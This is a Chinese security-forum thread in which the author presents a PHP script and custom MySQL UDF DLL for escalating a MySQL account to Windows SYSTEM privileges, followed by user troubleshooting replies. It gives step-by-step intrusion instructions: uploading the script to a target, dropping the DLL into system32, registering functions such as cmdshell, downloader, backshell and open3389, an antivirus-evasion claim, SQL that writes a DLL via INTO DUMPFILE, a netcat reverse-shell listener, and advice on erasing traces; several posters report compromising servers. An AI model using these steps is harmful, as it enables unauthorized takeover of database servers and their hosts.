[原创]将MYSQL读写权限转化为系统system权限
文章作者:langouster信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
先前我在八进制发布了一个用于MYSQL提权的UDF,不过好像不少朋友不是很明白它的使用,不断有人问我它的使用方法,有人干脆叫我写个此UDF的专用PHP。说实话在我写这个PHP之前就只学过点ASP,对PHP那是一窍不通,所以程序中不妥之处在所难免,高手不要见笑。PHP写的比较笨,这里就不讲它怎么写的了,直接讲它的使用。
一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。
二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
三、使用帮助:
第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。
[attach]9741[/attach]
第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。
[attach]9742[/attach]
第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。
[attach]9743[/attach]
第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。
[attach]9744[/attach]
第五步:使用完成后你可能需要删除在第二步中导出的DLL,但在删除DLL前请先删除你在第三步中创建的函数,否则删除操作将失败,删除第三步中创建的函数的SQL语句为:drop function 创建的函数名。
[attach]9745[/attach]
四、功能函数说明:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数; 既然都这么说了:
[quote]2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。[/quote]
那么这个题目貌似有些许误导吧?
[quote]有MYSQL账号就有system权限[/quote] [code]set @a = concat('',code);
use mysql;
create table shell(data LONGBLOB);
insert into shell values("");
update shell set data = @a;
select data from shell into DUMPFILE 'c:\\shell.dll';
drop table shell;
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'c:\\shell.dll'; [/code]
图3 的 CREATE FUNCTION 路径应该加双\的吧??
标题改成 Mysql for Win MYSQL账号有数据操作权限就有system权限. 要好点.
使用UDF功能, 数据库用户必须有对mysql.func 表的 insert, update 的权限.
其实也就是要有数据库的root权限. 楼主的文章名让我吓了一大跳~ 这个UDF和MIX.DLL是一个性质的,不过导出的函数要多不少。还有一个很关键的不可,MIx.dll连上后会造成MYSQL的假死,而这个程序它的每一个函数都经过仔细测试,不太可能会有这种问题。
[quote]图3 的 CREATE FUNCTION 路径应该加双\的吧?? [/quote]
本来是一定要用"\\"的,不过好像有不少人容易忘,所以我在PHP文件中处理了一下"\" 和"\\"都可以。
《有MYSQL账号就有system权限》这个题目有这么误导吗?我还是改一下吧。。 个人感觉应该这么写
利用MYSQL数据库连接账号提升系统权限 总结下!我来个题目,叫 利用mysql得到系统权限新法!
PS:楼主说功能增加不少!汗!我怎么对比了N次后发现,功能没有改变! 测试时发生下面错误!
Fatal error: Maximum execution time of 30 seconds exceeded in C:\AppServ\www\udf.php on line 91 楼上的,,路径要写双杠 \\! [quote][b]这里是引用第[/b][color=#ff0000][6 楼][/color][b]的[color=#000066]寂寞宝贝[/color]于[/b]2006-10-22 14:40[b]发表的:[/b]
PS:楼主说功能增加不少!汗!我怎么对比了N次后发现,功能没有改变![/quote]
请先看清是哪个跟哪个比。 3389 开不了
select open3389('3389')
语法没错吧!
顺求
其他函数的使用方法! 我记得Super·Hei好象也写过一个差不多的 我执行了:Create Function returns string soname 'udf.dll'时
数据库查讯出错,请检查SQL语句Create Function returns string soname 'udf.dll'的语法是否正确。You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'string soname 'udf.dll'' at line 1 看了楼主的文章后,我拿了台服务器来做实验,mysql的权限是root用户连接的,mysql的版本是5.0的,那就是要说把udf.dll导出到系统目录下了,因为mysql是5.0版的,第一步要:c:\\windows\\udf.dll或者c:\\windows\\system32\\udf.ll这样哪?再或者c:\\windows、c:\\windows\\system32 ,我这样尝试的时候是都成功了,但是到了第二步,却出现搂主说的No paths allowed for shared library,再导出到系统目录里的时候已经错误了,本身已经有过了,我又尝试把udf.dll改成别的dll文件,还是不行,这里我就不明白了,
windows和system32的目录下都有udf.dll这个文件,为什么还是错误?是因为第一次导出的时候错误了?还是格式不对?或者是我人品有问题?等待楼主的解答。。。。。 [s:57] 好像不行阿,导出DLL文件出错:Access denied for user: 'sq_test@%' (Using password: YES)
mysql 4.0,不知道是不是没有(insert和delete权限)!??? [s:35] [quote][b]引用第13楼[i]编程king[/i]于[i]2006-10-25 02:01[/i]发表的[/b]:
看了楼主的文章后,我拿了台服务器来做实验,mysql的权限是root用户连接的,mysql的版本是5.0的,那就是要说把udf.dll导出到系统目录下了,因为mysql是5.0版的,第一步要:c:\windows\udf.dll或者c:\windows\system32\udf.ll这样哪?再或者c:\windows、c:\windows\system32 ,我这样尝试的时候是都成功了,但是到了第二步,却出现搂主说的No paths allowed for shared library,再导出到系统目录里的时候已经错误了,本身已经有过了,我又尝试把udf.dll改成别的dll文件,还是不行,这里我就不明白了,
windows和system32的目录下都有udf.dll这个文件,为什么还是错误?是因为第一次导出的时候错误了?还是格式不对?或者是我人品有问题?等待楼主的解答。。。。。 [s:57][/quote]
[color=skyblue]哈哈,可能我写的不足够明白:“如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行”
你只要导出一次,比如你已经导到了c:\windows目录。你就可以执行Create function cmdshell returns string soname 'udf.dll';
后面的DLL就不用带路径了,导到系统目录就是会了可以让程序不带路径就能找到udf.dll。[/color]
[quote]我执行了:Create Function returns string soname 'udf.dll'时 数据库查讯出错,请检查SQL语句Create Function returns string soname 'udf.dll'的语法是否正确。You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'string soname 'udf.dll'' at line 1[/quote]
[color=skyblue]兄弟忘了写函数名:你可以试试:Create Function cmdshell returns string soname 'udf.dll';[/color]
[quote]3389 开不了 select open3389('3389') 语法没错吧! 顺求 其他函数的使用方法![/quote]
[color=skyblue]程序中用到了一个通用开3389程序组件,而这个程序是我从网上下载的,再做了一下免杀处理而已,对这个开3389程序本身我也不是很清楚,不过我试了好几个版本的虚拟机,觉得成功率是我能下到的此类程序中最好的,就把它作为一个资源导入到了我的DLL中,对你这个问题我也不知道什么原因,如果朋友有更好的开3389程序,我可以改进一下。[/color]
[quote]测试时发生下面错误! Fatal error: Maximum execution time of 30 seconds exceeded in C:AppServwwwudf.php on line 91[/quote]
[color=skyblue]排除服务器的性能问题外,可能是服务器上杀毒软件的原因。[/color] 在导出dll是一定要用\\吧! 楼主
我建议你还是做个动画出来看下
详细的介绍下使用方法
你看都很多人测试不成功了. [url]http://wg.shangdu.com/images/sound/mysql.avi[/url] [s:64] 好像不用这么麻烦吧,在WINDOWS下直接利用MYSQL以SYSTEM用户读写文件的特点,写一个自启动文件或是组策略文件就能达到目的了;
楼主的方法实现了直接执行命令,确实方便了不少. [s:36] 导DLL的时候提示数据库连结失败,请检查账号信息。Access denied for user: 'ODBC@localhost' (Using password: NO),铞明明登陆的了 [quote][b]引用第20楼[i]hack520[/i]于[i]2006-11-20 02:59[/i]发表的[/b]:
[s:36] 导DLL的时候提示数据库连结失败,请检查账号信息。Access denied for user: 'ODBC@localhost' (Using password: NO),铞明明登陆的了[/quote]
权限问题撒~~ 再不人品问题也行! [s:67] [s:35] 用J心那个mysqlrootkit.php又不会,铞B 用剑心那个没事!
换成楼主的测试一下导出出现!
Can't create/write to file 'F:\freehost\rzchs\web\bbs2\udf.dll' (Errcode: 13) 呵呵,我可以告诉楼主,最近的一次渗透中,用楼主的这个脚本顺利拿到3389权限。
我之前也用剑心的那个试过,没有成功。
还有一种可能是会造成失败的。mysql服务非system权限启动 做个动画吧~看到很多人都测试未通过,哪位哥们放个动画上来. 我也导出失败
WIN2003
Access denied for user: 'ODBC@localhost' (Using password: YES)
我的是YES 跟猪三的不一样。 什么JB回事 此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限? [quote][b]引用第27楼[i]bugx[/i]于[i]2007-02-08 23:49[/i]发表的[/b]:
此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限?[/quote]
就是你在mysql库中要有插入元组的权限才能创建函数,创建了函数就能做事了,要还有删除元组的权限你就能完事后擦屁股走人。 *** 作者被禁止或删除 内容自动屏蔽 *** [quote]引用第29楼ddy2003于2007-03-27 20:53发表的 :
多谢楼主,成功利用此法拿到一台主机系统权限
[s:263][s:263][/quote]
看到有人成功了,很欣慰.
不过也有不少人不成功,我猜测是因为PHP编写的问题(在这之前我都没学过PHP),至少DLL是经过很多测试的,问题可能就出在PHP文件里的SESSION编写,致使第二步就记不得MYSQL的账号了.
要是有人懂得PHP,希望有人能将PHP文件改写下. 导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\\mysql\\data\\udf.dll';的语法是否正确。No paths allowed for shared library
请问是怎么回事? [s:289] cmdshell('net user')
Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell
----------------------------------- F:\dos>nc -vv -l -p 7758
listening on [any] 7758 ...
225.91.6.58: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [0.0.0.0] from (UNKNOWN) [225.91.6.58] 3695: NO_DATA
sent 0, rcvd 0 前面三步都顺利,但到了第四步时的情况却是:等很长时间后来个网页无法显示
但是打开那个网页正常,为什么 导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\\mysql\\data\\udf.dll';的语法是否正确。No paths allowed for shared library
我也出这样的错误,楼主上哪去了来看看怎么回事嘛 [quote]引用第35楼foxbase于2007-04-23 18:42发表的 :
导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\mysql\data\udf.dll';的语法是否正确。No paths allowed for shared library
我也出这样的错误,楼主上哪去了来看看怎么回事嘛[/quote]
不好意思,有些日子没过来这里看看了。
你的MYSQL应该是5.0以上版本的,我在说明中也说了,对5。0以上版本你应该把DLL导出到Windows或System32目录,然后把“Create Function cmdshell returns string soname 'D:\mysql\data\udf.dll' ” 改成Create Function cmdshell returns string soname 'udf.dll' 。原因这在说明中也说了,因为5.0以上版本的MYSQL为了安全,不允许在此soname中加路径。 mysql> select version();
+-----------+
| version() |
+-----------+
| 4.0.18-nt |
+-----------+
1 row in set (0.03 sec)
mysql> create function my_udfdoor returns string soname 'C:\\Windows\\udf.dll';
ERROR 1127 (00000): Can't find function 'my_udfdoor' in library'
试过mix.dll成功了,但udf.dll 老出现这错误,望指教。 OK成功了. 楼主能写个asp的不能。
asp环境的也不少。 刚刚测试成功,好东西啊,不过说明再详细点就好了,我就转了不少的弯才成功的 [quote]引用第27楼bugx于2007-02-08 23:49发表的 :
此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限?[/quote]
有对mysql.func表insert和delete的权限就行了.
mysql> use mysql;
Database changed
mysql> select * from func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| cmdshell | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> unix 下的udf有吗? 总的说要有ROOT权限.要有insert和delete才可以的嘛 大家都在这讨论入侵
请允许我弱弱的问一句
有什么办法可以防这个入侵方法吗?
服务器昨天晚上被日了 正是在windows目录下找到udf.dll文件.........
有什么办法可以防止吗? 设置MYSQL帐号在USER权限下。 [quote]引用第42楼zlty于2007-09-02 13:08发表的 :
unix 下的udf有吗?[/quote]
[url]http://www.0xdeadbeef.info/exploits/raptor_udf.c[/url] 一定要用双杠\\ 本地测试通过不了 偶在渗透内网的时候,create function是成功了,但是运行cmd的时候 却出现了这么个问题。
我运行的是 select cmdshell('ipconfig /all');
回显的:
cmdshell('ipconfig /all')
wmic:root\cli>
--------------------------------------------完成!
-----------------------------------
= 说 运行不了cmd命令了。
我用剑心的mysqlrookit 虽然运行不了cmd 但是 可以传文件,读取文件。 [s:270]
问题到底出现在哪里? 麻烦楼主帮忙解答一下
页:
[1]
2